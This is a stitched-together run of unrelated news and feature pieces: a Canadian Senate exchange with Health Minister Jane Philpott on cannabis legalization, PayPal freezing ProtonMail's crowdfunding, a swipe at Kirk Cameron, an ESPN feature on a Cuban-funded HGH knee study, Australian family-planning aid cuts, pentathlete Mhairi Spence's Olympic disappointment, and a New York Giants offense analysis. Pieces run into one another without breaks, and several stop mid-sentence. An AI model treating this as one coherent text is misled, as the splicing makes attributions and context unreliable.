More World Cup coverage from Yahoo Sports:Canada's Minister of Health, the Honourable Jane Philpott, took questions today in the Senate’s Question Period, responding to numerous questions about various issues under Health Canada’s review, including two separate questions relating to cannabis legalization.
The first question on marijuana legalization came from Senator Claude Carignan, the Conservative Leader of the Opposition in the Senate, who asked Minister Philpott why the government was rejecting the Canadian Medical Association's’ recommendation that an age limit of 21 be set for recreational cannabis at a national level. The CMA also recommended that quantities and the potency of marijuana be more restricted to those under age 25 to discourage use and sharing with underage friends.
The second question came later from Senator Linda Frum, who asked about the international treaties Canada will be violating by legalizing marijuana. Minister Philpott told the Senate that Canada is working closely with various government agencies to address these concerns.
"The fact is that, in fact the world is looking at us very closely about this. I’ve had numerous international delegations who have come and wanted to speak to me specifically about this because it’s something that many countries around the world are very interested in. They’re watching Canada very closely, which speaks to the fact that we have got to get this legislation right." -Minister of Health, the Honourable Jane Philpott
First, Senator Carignan characterized the government’s commitment to legalize as a rejection of this and other medical evidence showing the harms of cannabis on young brains, and said more research is needed on intoxicated driving before cannabis becomes legal.
“Why is the government both rejecting and ignoring science by going forward with plans to legalize marijuana?” asked the Senator in French.
Minister Philpott responded by pointing out that the task force report took into account considerations like the CMA’s and that extensive thought and research has gone into the approach the government is taking to ensure the protection of young people from the potential risks of cannabis use.
“This is a very good question and you’re absolutely right that our approach to the matter of cannabis is to be sure that we introduce legislation that is evidence-based and, in fact, there is a significant amount of evidence around cannabis, but I would say that it is an area where there is a shortage of scientific research in terms of the potential benefits and risks associated with it.
"Having said that, one of the things that we did in preparation for the introduction of legislation was to initiate a task force which was led by the Honourable Anne McClellan, who went across the country and met with a huge number of special interest groups who gave advice on that. I hope that senators have had the opportunity to read a very excellent report that the task force brought back to us which we’re examining, and this question in terms of age is a very important one … the legislation will be coming out this spring, so obviously we’ll see more about that at that time.
"I will point out one of the challenges around the age is the fact that the highest user group of cannabis is young people between the ages of 18 and 24, in which case one-third of Canadian youth in that particular age bracket of young adults are currently using cannabis, and so that’s something that has to be taken into consideration in the determination of what the legislation should look like. And obviously, the government’s goal is to make sure we minimize the risks associated with the use of cannabis and keep it particularly out of the hands of kids.”
Senator Carignan, as the Conservatives lead in the senate, has been openly critical of the Liberal Government’s pledge to legalize, and has several pointed questions about legalization still to be addressed in Senate. He announced yesterday he will be stepping down from his leadership position effective March 31.
“You’re absolutely right, we’re committed to introducing legislation the spring, 21 days away. The good news is that spring goes right until June the 21st so that gives us a little bit of a window in there. But we are committed to introducing that legislation in the spring." -Minister of Health, the Honourable Jane Philpott
Senator Linda Frum, another Conservative member of the Senate, asked a follow-up about international treaties, including the 1961 Single Convention on Narcotic Drugs and the The United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances of 1988, noting that spring is 'only 21 days away' and the government had pledged to introduce legislation by the spring.
“These treaties have 185 and 189 members, respectfully," said Senator Frum. "Presumably you intend to withdraw Canada form these treaties. With the prospect of retaliation from member nations, including our neighbour to the south, what conversation have you had with your international counterparts to address the possibility of lengthy wait times at the border because searches at point-of-entry once marijuana is legalized in Canada?”
“You’re absolutely right, we’re committed to introducing legislation the spring, 21 days away," responded Minister Philpott. "The good news is that spring goes right until June the 21st so that gives us a little bit of a window in there. But we are committed to introducing that legislation in the spring.
"You raise an important point, which is that the matter of legalization of cannabis will put us in the scenario where we will be in contravention of three international treaties. This is something that I have discussed with my colleagues. I’ve discussed it with the former Minister of Foreign Affairs, and it has recently come up in discussions with the new Minister of Foreign Affairs who is very much aware of this, and we have discussed a range of options as to how Canada could respond to that reality.
"The fact is that, in fact, the world is looking at us very closely about this. I’ve had numerous international delegations who have come and wanted to speak to me specifically about this because it’s something that many countries around the world are very interested in. They’re watching Canada very closely, which speaks to the fact that we have got to get this legislation right. In terms of negative impacts, obviously those things need to be taken into consideration—what that could look like as we go forward and make a decision as to our response to treaties. It is something that needs to be taken into consideration.
“You will no doubt be aware that there are a number of states within the United States that do have legalized cannabis at the present time. Of course that doesn't put them in contravention because it’s not a federal decision there. But it’s a reality that they are also cognizant of. And clearly we would not want to put Canadians travel in jeopardy and will certainly take these things into consideration and I would be happy to update you at a later time.”
This is the third time the Health Minister has taken questions from the Senate.In another example of why Bitcoin is probably best for online transactions, the mercurial PayPal has shut down ProtonMail’s account, freezing $270,000 in limbo until “questions” are “answered” regarding the cash. PayPal is quite good at shutting down popular funding efforts including, most notably, Wikileak’s donation provider a few years ago.
Writes Andy Yen, co-founder of the platform:
While the $275,000ProtonMail has raised in the past 2 weeks is a large amount, it pales in comparison to many othercrowdfunding campaigns that have raised sums in excess of $1,000,000 so we can’t help but wonder whyProtonMail was singled out. When we pressed the PayPal representative on the phone for further details, he questioned whetherProtonMail is legal and if we have government approval to encrypt emails. We are not sure which government PayPal is referring to, but even the 4th Amendment of the US constitution guarantees:“The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures….”It seems PayPal is trying to come up with ANY excuse they can to prevent us from receiving funds.
ProtonMail, you’ll recall, is a secure mail program designed to encrypt messages in the browser before they reach the mail server. They raised $284,008 on Indiegogo so far. Folks interested in avoiding the black hole of PayPal can send pledges to ProtonMail’s Bitcoin wallet and get the same perks. This also points to the urgent need for BTC adoption by both major crowdfunding organizations because PayPal is dangerous.
Paypal had this comment:Kirk Cameron Teaching People How To Act Around Gay People Is Nutty Even By His Standards
A video has surfaced of a (partially out of context) highlight reel from one of Kirk Cameron’s appearances on a wing-nut Christian channel called The Way Of The Master Television that is disturbing even by his standards.
“If we fail to be blunt and straightforward about that sin, we’re doing a disservice to our gay friends.”
And which gay friends are those, Kirk?
The mission statement to the groundbreaking Way Of The Master ministry which Cameron cofounded in 2002 includes this sage wisdom:
“150,000 people die every 24 hours—most without the Savior. We are deeply concerned that so few Christians reach out to the lost. Statistics show that this is as low as 5%.”
The video is to help good Christian Evangelical folk learn how to witness to someone who is gay, and it’s full of truly terrible advice.
Cameron released a film called Saving Christmas: Putting The Christ Back In Christmas last weekend. So there’s also that to look for.
Watch here:With funding from Dallas Mavericks owner Mark Cuban, University of Michigan researchers are looking into whether a banned performance-enhancer can better help an athlete recover from an ACL injury. (6:36)
Mark Cuban, billionaire multi-tasker, grinds out the last few minutes of an hour-long workout on a stair-climber. Sweat gleams on his arms and drips steadily from his forehead onto the front of the machine, which faces an exposed brick wall in the Dallas Mavericks' capacious fitness center.
A half-dozen reporters, invited in for a pregame chat, raise microphones and tape recorders in a ragged semi-circle around the team owner. Between labored breaths, he expounds on a just-announced contract extension for coach Rick Carlisle -- an extension that is a departure from Cuban's usual negotiating practice of waiting until a deal expires. "The worst policy in the world is to be dogmatic about your policies," he says.
I wait for the beat guys to finish before I approach Cuban. He knows I want to talk about his decision to fund a first-of-its-kind clinical trial that is examining whether human growth hormone can aid recovery from anterior cruciate ligament surgery. The two-year, $800,000 exploratory study at the University of Michigan is backed by a single grant from Cuban's eponymous foundation and was approved by the U.S. Food and Drug Administration under a special exemption.
Most sports fans know HGH as a drug banned for its performance-enhancing effects and at least temporarily toxic to the reputations of athletes who have confessed to using it, like Bill Romanowski and Jason Giambi. Former New York Yankees pitcher Andy Pettitte said he used it solely to recover from an elbow injury -- a commonly held but scientifically unproven rationale.
The Michigan study could begin to pull HGH from the shadows if, as the researchers hope, it helps prevent the muscles around the knee joint from weakening to a point of no return. Recombinant (synthetic) HGH is a pharmaceutical hot button, controversially championed by the anti-aging industry and still poorly understood in many ways. Its legal uses are restricted in the United States and many other countries, limiting the drug's commercial potential and discouraging research into possible new therapeutic applications.
That strikes Cuban as dogma without proper grounding.
"I love to test and challenge any schools of thought that have not been thought out," he wrote in an August email to ESPN's Outside the Lines. "This partnership was a great first step toward finding the facts about HGH."
Unlike the investments Cuban makes on the reality-TV marketplace of "Shark Tank," there's no business plan to peruse here. This is a stake in an idea -- rethinking HGH -- that won't generate practical applications or profit for at least a decade, if ever, and is certain to hit turbulence along the way.
Cuban finishes toweling off his face and shakes my hand. I keep the pitch straightforward. His role in this story will bring more eyes to what I think is an intriguing issue. I want to make the science accessible. The issue is too nuanced for an email exchange and is best discussed in person, which is why I'm in Dallas.
He parries my every attempt. Until there are research results to discuss, he sees no upside in a more in-depth interview. He's perfectly courteous, but his mind is made up. His money line is punctuated with his familiar gotcha grin.
"I don't want this to be about me," Cuban says. "Shockingly."
University of Michigan researcher Christopher Mendias is leading a study about whether giving HGH to athletes who have undergone surgeries for torn ACLs is beneficial. ESPN
Muscle atrophy is the real problem
Some of the athletes who have thrilled us the most -- soccer's Cristiano Ronaldo, basketball's Steph Curry, alpine skiing's Mikaela Shiffrin and Lindsey Vonn, or any of the great waterbug running backs who followed in Barry Sanders' intricate footsteps -- have been able to do so because of their ability to plant and pivot, cut and accelerate, twist and elude. And they have all depended on the marvelous anatomical fulcrum of their lower quadriceps muscles.
Athletes who spend years painstakingly building that foundational strength, so crucial for power and agility, can see 20 percent or more of it melt away in the days just before ACL surgery. The injury triggers swelling and the release of what lead Michigan researcher Christopher Mendias calls "angry synovial fluid."
"It seems to carry a bunch of chemical signals that shrink the muscle and cause some inflammation in the tissue right around the knee joint," Mendias says. "So if you look at the entire quadriceps muscle group, the atrophy is much more pronounced toward the knee joint."
Which is why multiple researchers are examining the same question using different approaches: Once an ACL is put back together, can the knee ever truly be as sound again? Stem cell therapy and platelet-rich plasma treatment are options getting increasing attention, and testosterone's potential is being studied. The Michigan researchers think human growth hormone has significant promise.
ACL reconstructions, using a graft from a patellar tendon or hamstring that is screwed or stapled into place, have become mechanically sound procedures that help many athletes return to action. Rehab protocol has been refined as well.
But no matter how diligently patients tackle the arduous post-op regimen -- and few could be more motivated than athletes with millions of dollars at stake -- they often wind up losing some degree of quickness or range of motion. Various studies show they can be more prone to rip up the other knee or at risk for early osteoarthritis. Some data shows younger athletes have a higher incidence of repeat tears in the same joint.
"I tell people the rehab is really two years -- you're rehabbing through the season and the offseason," says retired NFL cornerback Terrell Thomas, who had three surgeries on his right ACL, the first one in college. "It's not one of those injuries where you do your six months and move on with life."
Mendias, a Ph.D. in molecular and integrative physiology, devotes himself to the mysteries of why muscles and tendons grow and shrink and how they recover after injury. In late 2013, he read a story in which Cuban called for more research on HGH as a healing agent, then emailed the Mavs' owner. This clinical trial is the result.
In the eyes of Mendias and his partner on the project, Dr. Asheesh Bedi, it's time for HGH to be carefully and seriously explored as a possible solution to the most frustrating aspect of the roughly 250,000 ACL reconstructions performed annually in the United States.
ACL tears a prevalent injury in NFL Dozens of NFL players tear their ACLs each season, though official numbers can be hard to discern because league injury classifications can be unclear. But according to StatsPass: 2011: 27 2012: 35 2013: 61 2014: 45 2015 so far: 35
"It's a largely successful clinical operation, but what goes unnoticed is that even though the athlete feels strong, and may exceed their baseline [strength] pre-injury, they often have persistent objective weakness nine months or a year out," says Bedi, an orthopedic surgeon who is a University of Michigan team physician and an associate team physician for the Detroit Lions. "It's easy to rest on our laurels as surgeons when potentially we should be asking for more."
Bedi and Mendias are doing their field work in a vast, low-slung building in the Domino's Farms complex on the outskirts of Ann Arbor that houses the university-owned MedSport clinic and a lab that bears Mendias' name. Their hypothesis, greatly simplified, is that HGH will help preserve the muscle around the joint by activating a protein called IGF-1 (insulin-like growth factor) that stimulates muscular growth while blocking another protein, myostatin, which is triggered by injury and curbs that growth.
The clinical trial is accepting men 18 to 35 years old, by invitation only, who are MedSport patients about to undergo ACL reconstruction for the first time. They cannot be athletes subject to NCAA, World Anti-Doping Agency or professional sports drug protocols. The first patients were enrolled in the spring of 2015, and the study is slated to end in mid-2017. Citing privacy concerns, the University of Michigan will not disclose the identity of patients involved in any ongoing clinical trial.
The study is double-blind, meaning neither the researchers nor the patients know which group is being treated with HGH and which is receiving a placebo. Both groups will be injected in the abdomen twice daily for one week pre-surgery and five weeks after. Patients will be monitored through at least six months of physical therapy, with strength in both the injured and uninjured legs tracked and overall health closely watched to ensure there are no worrisome consequences.
The short, six-week course of injections was designed to keep the study firmly in the realm of medical treatment as opposed to performance enhancement, Mendias says.
"No one's going back to the court or the field that quickly, so the effects of growth hormone are largely transient," Mendias says. "We don't think there's going to be any sort of long-term benefits, that they're gonna go back stronger than they were before they had their injury. We're hoping to get them back as close as we can to their normal strength before they had the tear."
Sounds straightforward enough -- though the researchers are probing a drug that has been the subject of more rumor and regulatory barbed wire than factual analysis for most of the past 30 years.
University of Michigan researcher Dr. Asheesh Bedi is studying the effects of giving HGH injections to patients who have undergone surgery to repair a torn ACL. ESPN
HGH's troubled history in America
In the United States, growth hormone can be legally prescribed for only a few strictly defined conditions such as growth deficit in children, short bowel syndrome, pituitary gland issues in adults and wasting diseases such as HIV/AIDS. But off-label prescription and black-market traffic continues to flourish everywhere from Hollywood to high school gyms. Products purporting to be HGH -- mostly fakes -- are readily available by mail order.
Originally harvested from cadavers and used to treat children with overly short stature in the 1960s and '70s, naturally produced HGH was pulled from use in the mid-1980s when it was discovered that part of the supply was contaminated with Creutzfeldt-Jakob disease, an incurable degenerative condition affecting the brain.
Recombinant growth hormone appeared on the market at roughly that time, and was included in the 1990 federal Anabolic Steroids Control Act. Athletes used it because they thought it could give them an edge, and sporting entities banned it. But that prohibition -- which is on the books of WADA and nearly all high-level professional sports -- has been largely toothless.
Distinguishing between HGH produced naturally by the body and growth hormone delivered via needle has proved to be involved and vexing. Despite two detection methods introduced in blood testing since 2004, only a dozen athletes worldwide have tested positive for synthetic HGH. Some have been ensnared in legal investigations, such as the BALCO or Biogenesis scandals. A few have been tripped up by their own recklessness, like tennis player Wayne Odesnik, who tried to bring it into Australia in his luggage in 2010 and later pleaded guilty to violating that country's drug laws.
From athletes and coaches who have been caught using growth hormone as a performance-enhancer, we know it is usually used in conjunction with testosterone or other anabolic steroids. In isolation, HGH has been found to carve away fat and build lean muscle mass but not necessarily improve strength. Other research on long-term use has revealed serious side effects including diabetes, carpal tunnel syndrome, arterial disease and joint swelling or pain, but there's little scientific consensus on how prevalent they are and at what dosage.
If informed guesstimates are to be believed, HGH use is commonplace in professional sports. Thomas says he never resorted to it but thinks many NFL players view it as an occupational necessity "to sustain strength.... They can get big all they want, but it's maintaining that throughout the season, throughout the wear and tear, throughout the pounding of your body.
"Why not take the risk of using it if it's going to make you that much better?'' he says. "If you get that $50 million contract or whatever it may be and you do get suspended for it, you're losing four games or a couple mil. It's worth it."
A few athletes have publicly stated that the barricades should be moved. Kansas City Royals reliever Ryan Madson first spoke out on the subject in 2013 when he was trying, without success, to return to form with the Los Angeles Angels after elbow surgery. He reiterated his views during the recent World Series, telling the Los Angeles Times he had not used HGH himself but thinks it should be an option for athletes under medical supervision "in a controlled manner, so they know exactly what is going in their body and how much is being used, for rehabilitation purposes only."
Dr. Keith Baumgarten, a Sioux Falls, South Dakota, orthopedic surgeon who has worked with professional sports teams at several levels, says science is being hampered by stigma, even in animal research. He approached a pharmaceutical company a few years ago when he was putting together a study using growth hormone to accelerate injury recovery in rats.
"I wanted to use their sutures, and their response was, 'We're not gonna support a study with illicit drugs,'" Baumgarten says. Those studies didn't yield encouraging results, but he has received approval for another growth hormone study at the cellular level on human bone, tendon and ligament.
Baumgarten's interest has been deepened by his patients who are farmers and have the same urgent need to return to their fields as athletes do. "We should be trying to get ahead of the game, and if there's a potential for accelerating injury recovery, we should look at it scientifically and safely and responsibly," he says.
Synthetic HGH being used in a University of Michigan study about HGH and people who have undergone surgery to repair torn ACLs. ESPN
HGH faces a long way out of the shadows
The Michigan researchers plan to be "extremely transparent" about their findings, Mendias wrote in an email. They will publish results whether they show promise or not, he added, and will share raw data with others in the field on request. If follow-up studies are merited, they would be widened to include diverse locations and age groups, and both genders.
With many uncertainties and hurdles along the way, Mendias estimates it would take 10 to 15 years to reach the point where the FDA might consider reclassifying growth hormone.
If that were to happen, it would create an interesting challenge for elite sports.
Defining the terms for a therapeutic-use exemption for HGH -- such as dosage, length of treatment, and the interval before an athlete could return to competition -- could be daunting. Anti-doping authorities would have to craft a sophisticated solution, says Thomas H. Murray, former president of the Hastings Institute, a bioethics think tank in New York State.
"Would I deny [an] athlete the possibility of a more rapid healing and a prospect of a better life long-term with less disability from that injury just because we know some people misuse this drug for sports performance?" Murray says. "I would find that an impossible position to sustain."
Murray, a scholar with extensive experience in advising sporting entities on anti-doping policy and ethics, said caution and skepticism are warranted, even though "I don't think people are going to rip ACLs in order to take human growth hormone," he says.
"If it's approved for ACL injuries, will people then want to use it for other, less severe injuries, and push to have it administered closer to the time of performance? Yes," Murray says. "We know all that will happen. So policies like this come down to very practical things. Can you create a reasonable set of rules that would shut the door to the most obvious abuses but would leave it open for genuine therapeutic uses?"
Murray has no objection to sports owners such as Cuban funding this kind of research, as long as the leagues are giving equal attention to injury prevention. But Murray doesn't want his own open-mindedness construed as advocacy.
"It's important to have an appreciation for the irony in all of this," Murray says -- in other words, a scenario in which athletes take growth hormone so they can train harder, incur more serious injuries because of their greater size and speed, then seek relief from a drug that may have helped enhance them in the first place.
Dr. James Andrews, the orthopedic surgeon to the stars who has performed thousands of ACL reconstructions, says any potential policy change on growth hormone will be "a hard row to hoe."
But, Andrews says, a carefully controlled environment like Michigan's clinical trial is the setting to do that spadework, rather than the barely concealed, ad hoc experimentation going on in sports. "[HGH] should be studied, it should be researched, and we may find out that the benefits are worth the risk factors," Andrews says. "My hat's off to them, because that's where it needs to be evaluated."
The first NBA players who might directly benefit from Cuban's largesse are probably young teenagers now. But the Mavs owner isn't fazed by the timeline or the potential political hurdles.
Later, I email him with follow-up questions, including this: "Given your public profile, people may speculate that you have a commercial/profit-making interest in the study results if they are successful down the road. Please comment."
His response: "Of course I do. If this works, I will figure out an angle to make money from having sponsored a study that changed the game. And if it does turn out that it helps athletes recover faster, I of course benefit from my interests in the Mavs and the NBA.
"Feel free to make that the headline. It doesn't change anything at all.
"The results are the results. Either it works or it doesn't."
Investigative reporter T.J. Quinn and producer Andy Lockett of ESPN's Enterprise/Investigations Unit contributed to this report.This article is over 1 year old
Plan International Australia says loss of funding is a ‘stunning failure to protect the world’s most vulnerable’
Aid groups have attacked the Australian government for slashing its foreign aid spending on family planning and urged it to fill a leadership void left by the Trump administration.
Australia’s aid funding for family planning has halved from $46.4m in 2013/14 to AU$23.7m in 2015/16, according to new figures on the nation’s overseas development assistance budget.
The loss of funding has sparked concerns from a consortium for international sexual and reproductive health and rights, which has called for the government to reinstate the funding and commit an additional $10m annually for three years.
Australia’s billion-dollar aid cut: Indonesia gets it, or everybody does Read more
One member of the consortium, Plan International Australia, said the loss of government funding represented a “stunning failure to protect the world’s most vulnerable”.
Plan International said the overall reduction in family planning funding was at odds with the Gillard government’s 2012 pledge to double its contribution to family planning services to $53 million a year.
The cuts also come at a time of pressing need for women’s health and family planning funding.
Earlier this year, the United States president, Donald Trump, expanded a Reagan-era policy banning foreign aid to international healthcare providers who discuss abortion or advocate abortion rights.
Plan International Australia’s deputy chief executive, Susanne Legena, said the vacuum left by the loss of US aid funding – traditionally a major chunk of international contributions – must be filled by countries such as Australia.
Legena said the halving of family planning funding in Australia’s aid budget would have a massive impact in developing countries, where 800 women and girls die from giving birth in dangerous situations every day.
Trump expands policy that bans US aid for overseas abortion providers Read more
“Complications during pregnancy and childbirth are the second leading cause of death for women and children worldwide,” Legena told Guardian Australia.
“The impact is massive, both in terms of lives and health. But the biggest impact is that, if you can’t decide when and how you have children, it limits your ability to participate in education or work. It has these massive knock-on effects.”
The aid group has started a letter-writing campaign aimed at the foreign affairs minister, Julie Bishop, who Legena acknowledged was a “real champion of women’s equality and family planning”.
The campaign is seeking to convince Bishop to meet Australia’s commitment to boost family planning funding before a family planning summit in London on 11 July.
But Bishop defended the government’s commitment to reproductive and sexual health, saying it was a priority of the foreign policy and aid program. “We committed $303m in funding for maternal and child health, including reproductive healthcare, in 2015-16,” she said in a statement.
“Access to sexual and reproductive health services remains critical to women’s empowerment, improving gender equality, and reducing maternal and child mortality.”
Why Australia's new PM should rethink foreign aid cuts | Lisa Denney Read more
Bishop pleged $9.5m in February for the sexual and reproductive health program in crisis and post crisis settings. That program aims to strengthen sexual and reproductive health in the Indo-Pacific region, and has been supported since 2007.
The government also provides funding for safer birthing environments, sexual and reproductive services in crisis settings, HIV prevention and treatment, and assistance to survivors of rape and violence in foreign crises.
The total development budget will increase from $3.912bn in 2017-18 to $4.01bn in 2018-19. But the increases are in line with consumer price index rises, and the aid budget will then be frozen for another two years, saving $200m, according to Fairfax Media.
Even at their peak in 2018-19, spending levels will still be below the 2010-11 level of $4.3bn.
The aid |
what was going on. I said: 'I'm not doing anything.'
Mhairi Spence Born: August 1985, Inverness School: Inverness Royal Academy Sport: modern pentathlon Trains: University of Bath Honours: 2012 individual gold, World Championships, Rome; 2012 women's team gold, World Champs; 2009 women's team gold, Worlds, 2008 team gold, Worlds
"A horse can be one way in the warm-up arena and another way entirely in competition, because they know what their job is. So I thought, he's out of control now, maybe that will switch. It wasn't until jump two when I realised, I'm in trouble here.
"You keep trying. Every jump is a new job. Go through your process again. But when I finished the course and the announcer read out my score, I realised it was over. Gone. You're fighting for hope, but I jumped off the horse and knew."
With four fences down and 104 penalty points conceded, Spence's hopes of Olympic success - built up over four long years since failing to qualify in Beijing, the product of thousands of hours of training and self-sacrifice, fantasised about since childhood - had disappeared in under two minutes. And then the self-recrimination began.
"That wonderful word, 'unfair'… It's a strange sport we do. You always know you might get a horse that doesn't want to work with you. But I'm a strong rider. I always hoped I wouldn't get anything so bad that I wouldn't be able to control it.
"For it to happen on that one day. Of all the competitions I've done in my life, why now? Why me?
"When I qualified for London, I felt like somebody. I felt like I was good enough, that I was the person I was trying to be for so many years.
"I climbed off the horse and walked away with my coach. There was nothing to say. 'I am done. My heart is broken.'"
Further hampered in the final discipline - the combined events - by a faulty shooting target, Spence would finish in 21st place, a forgotten footnote.
Team GB at London 2012 Team members: 541 Sports: 26 Medallists: 65 Gold medallists: 29 Final medal table: third
"As an athlete you put yourself out there to be tested, to fail. And every time you lose, a little piece of you gets chipped away," she says.
"Having been bullied in school and had so many knockbacks - to have success in London would have let me say to others, look what I've done, you can do it too.
"I had wanted to show people who I was. Instead I felt like I'd let everyone down. So many of my friends and family had come to watch. They said they were proud of me for competing, but you only think they would be more proud if you were on the podium.
"I felt like I was a nobody, that I shouldn't be in my GB kit. You would think it would get easier to deal with it, but it doesn't. It still breaks you down."
Spence was not the only athlete lost in London's giddy slipstream. Over the past six months I have spoken to several high-profile members of Team GB who considered quitting sport entirely in the wake of perceived failure at the Games, and others who endured their own dark nights when injury or selection denied them even the chance to compete.
While the rest of the country wanted only to talk of Olympics, many of its representatives in London wanted anything but.
"Every day I would turn on the TV and it would be there," says Spence. "It was making it impossible to get over what had happened. So I booked a flight to Australia. 'Get me away from this.'"
Media playback is not supported on this device Mhairi Spence's wild world title celebration
From home-town Olympian to indistinguishable backpacker. Dropping into the well-worn traveller route from Sydney to Cairns, Spence attempted to disappear.
"I refused to tell anyone what I did. You turn up at a hostel, check into a room with eight beds, and it begins: 'Where are you from, what do you do?'
"I told some people I was a hairdresser. Others I told I was a post-lady. I couldn't tell them I was an Olympic athlete. I didn't feel I deserved that title.
"For the first month I didn't let myself think about London. It was too hard. Anytime I thought about it I felt a heaviness. I could feel the tears coming. It was running away, but I needed to."
At one point, on a sailing trip around the Whitsunday Islands with a disparate group of travellers, talk turned to a previous port of call on that east coast route.
"We all figured out we were on Fraser Island at the same time," says Spence. "Then one girl says, 'Did you hear the rumour?' 'What rumour?' 'There was an Olympic athlete on the island when we were there!'
"And I had to pretend. 'No way - that is so cool!' I had to walk away."
One night on the yacht, Spence found herself unable to sleep. Just before dawn she climbed up on deck and sat there, alone, waiting for the sun to come up.
"It wasn't until then that I began to process what I was feeling. In those quiet moments I could ask myself, how do I feel about it?
"A few weeks later I got probed more and more in another conversation. It came out that I had been to the Olympics. This guy couldn't get over it, that he was sharing a room with someone who had competed in London. And all I could think was, big deal, I came 21st.
"But these little things helped. They slowly gave me a more balanced view of what had happened. People thought it was great that you had even made it there, and that gave me a renewed view of myself."
Modern Pentathlon • Introduced to Olympics in 1912 by Baron de Coubertin • Competitors fence, swim 200m freestyle, show-jump and then do a combined run/shoot final event • Takes place on a single day • Previous British Olympic medallists include Steph Cook (gold, Sydney), Heather Fell (silver, Beijing), Kate Allenby (bronze, Sydney) and Georgina Harland (bronze Athens) • In London, the women's modern pentathlon was the final event of the Games
To those of us who only experience elite sport from the outside looking in, such intense emotions might appear excessive, an over-reaction to something that is, to the unconverted, just a pastime. The Olympics matter, but they are not war or death or disease.
But they are also the pinnacle, and for someone whose life and ambitions have been built around them, their defining challenge.
Spence had no desire to become mired in her misery. On the other side of the world from her native Inverness, far from the Scottish winter and the constant reminders of London's summer, she was tempted to stay away for good - "out of the bubble", as she puts it.
That she came back, and to compete again in the sport De Coubertin himself introduced to the Olympics, was about avoiding the easy option.
"Even now it's not gone. Some days I do find it hard. Could I train for four more years and then have exactly the same thing happen to me?
"But I felt I owed it to myself - all the years of hard work, the brutal sessions. It wouldn't be right not to come back.
"Being a professional athlete is an amazing, wonderful life-style, and we're incredibly lucky. But it takes a lot to continually pick yourself up again.
"Everything is about maximising your training or maximising your recovery. You become your sport. It consumes every angle of your life. And you will meet with triumph and disaster."
That famous line from Kipling is no throwaway thought. The words are there on the inside of Spence's left forearm, tattooed in black ink, a permanent reminder of the Olympic ordeal she has come through.
"When I was eight years old, I won a 25m breast-stroke race at my club championship," she says. "It was the first thing I ever won. That was when I decided I was going to go to the Olympics, and that I was going to win a medal."
She laughs, and then falls silent for a long moment. "It would be a shame to let that eight-year-old down."What is wrong with the New York Giants' offense? Perennially one of the league's most prolific groups the Giants have scored only seven points in the past two weeks.
Eli Manning 'It's not the plays. It's not the tempo. Our execution has got to be better.'
What you guys really want to debate, and what many of you have already decided, is how much of this mess is the fault of offensive coordinator Kevin Gilbride?
Quarterback Eli Manning was not asked directly about Gilbride on Tuesday, but still ended up offering what amounted to a defense of the veteran coach, who has been with him his entire career.
"It's not the plays. It's not the tempo. Our execution has got to be better," Manning said.
Speaking specifically about the 31-7 loss to Kansas City, Manning said:
"I thought we had chances and I thought we had the right game plan. We said we're going to attack these corners, throw the ball down the field and try to get some big plays. We only hit one of them. I thought we had opportunities for some other ones and the defenders made some decent plays, but we still had some chances to make some plays that could have been game-changing. We've got to find ways to make some more plays when we have the opportunities to," Manning said.
"I thought we just didn't hit the big plays that we needed to. We threw the ball down the field and we've got to connect on those. That's me throwing it in the right spot and the receivers making the catch. I think we were attacking the right spots. We just didn't execute it well enough."
The Giants finished Sunday with 298 yards of total offense, the second straight week they have not gone over 300 yards. Let's look at some of what happened.
Manning was sacked three times and under duress much of the afternoon.
Hakeem Nicks failed to haul in three passes that could have gone for big yardage.
One big play Nicks did haul in was negated via penalty.
Da'Rel Scott dropped a perfectly timed screen pass. Look at the image below and see the miles of space, with blockers in front, Scott has if he simply catches the ball.
On a third-and-1 in the third quarter Gilbride calls for a pitch right to David Wilson. I keep hearing calls for 'get Wilson into space' and that is what is done here. Only all three tight ends -- Brandon Myers, Bear Pascoe and Larry Donnell -- miss blocks. The Giants punt.
How many of those mistakes can be pinned on the offensive coordinator?
The Bigger Picture
Eagles.com illustrated how the Giants have continually had 6-on-4 and 7-on-5 advantages in blocking the opposing pass rush, but have not been able to do so. Is that on Gilbride? He's doing his best to design plays that protect his quarterback.
Manning has made some horrid decisions in four games as he has piled up nine interceptions. Is Gilbride to blame for those?
Offensive Ineptitude Points per game: 15.3 (30th)
Plays from scrimmage: 239 (30th)
Turnovers: 16 (32nd)
Takeaway/Giveaway Ratio: -9 (30th)
Rushing: 231 yards (30th), 3.3 yards per carry (30th)
Sacks Allowed: 14 (27th)
Is the offensive coordinator to blame for Wilson's two fumbles vs. the Dallas Cowboys? Or, the two screen passes that were intercepted in that game where mistakes by Wilson and Da'Rel Scott led to the interceptions? Those aren't bad play calls. They are bad plays by the players on the field.
In the Denver game, is Gilbride to blame for the turf monster tackling Brandon Myers and likely preventing a touchdown? Is he to blame for Rueben Randle fumbling away a touchdown at the goal line? Is he to blame for Manning's awful interception right before the half? Or, for a ball bouncing off defender's foot and becoming an interception?
Against Carolina is Gilbride to blame for the fact that the offensive line was a sieve? Manning was sacked seven times and hit 17. That's atrocious. The Giants couldn't do anything well on offense, because there wasn't anything they could block.
Is it the offensive coordinator's fault that the thing Will Beatty has done best thus far in 2013 is commit holding penalties?
The Giants are second in the league in dropped passes with 12. How many more points would the Giants have on the board if they had made most of those plays? The coordinator can only design the play, he can't throw the ball or catch it. The Giants lead the league in turnovers. Is the offensive coordinator failing to protect the ball?
What Can Gilbride Do Better?
Let's talk about David Wilson. Is Wilson an untapped Darren Sproles? Is he the next Tiki Barber? Or, is he the newest Rocky Thompson? Don't know anything about Thompson, the running back the Giants made their first-round pick in 1971? Feel free to look him up.
Back to Wilson. There has been concern the past couple of weeks over the playing time split between Wilson and Scott, which has been virtually 50-50. Is it frustrating that Scott (125) has played more snaps than Wilson (103)? Yes. My belief? If the games were closer that split would be more like 70-30 tilted toward Wilson. Scott has been on the field so much because the fourth quarters of the past two games have been lopsided.
Like it or not, Scott is the third-down back. He does a much better job in pass protection than Wilson. The other problem is that Wilson has only six catches over two seasons after catching only 37 balls in three collegiate seasons. Is he a guy you can trust coming out of the backfield? Scott already has 10 catches this season, so we can see which back the Giants have more faith in when it comes to throwing him the ball.
The Giants would love to get him in space and I believe they are trying to find ways to do that. Throwing him the ball is one way. It's on Wilson to convince the Giants he can be part of their passing attack.
Now, let's talk about the no-huddle offense.
'Is Wilson an untapped Darren Sproles? Is he the next Tiki Barber? Or, is he the newest Rocky Thompson?'
Manning was asked repeatedly about the no-huddle on Tuesday, as was head coach Tom Coughlin. Here is part of what Manning said:
